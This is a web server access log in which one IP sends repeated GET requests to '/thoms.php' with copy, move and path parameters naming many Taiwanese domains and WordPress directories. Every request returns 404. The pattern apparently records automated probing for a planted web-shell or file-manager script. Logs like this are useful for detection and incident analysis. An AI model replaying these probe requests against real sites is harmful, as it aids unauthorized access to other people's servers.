45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:27 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:28 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:29 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:30 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
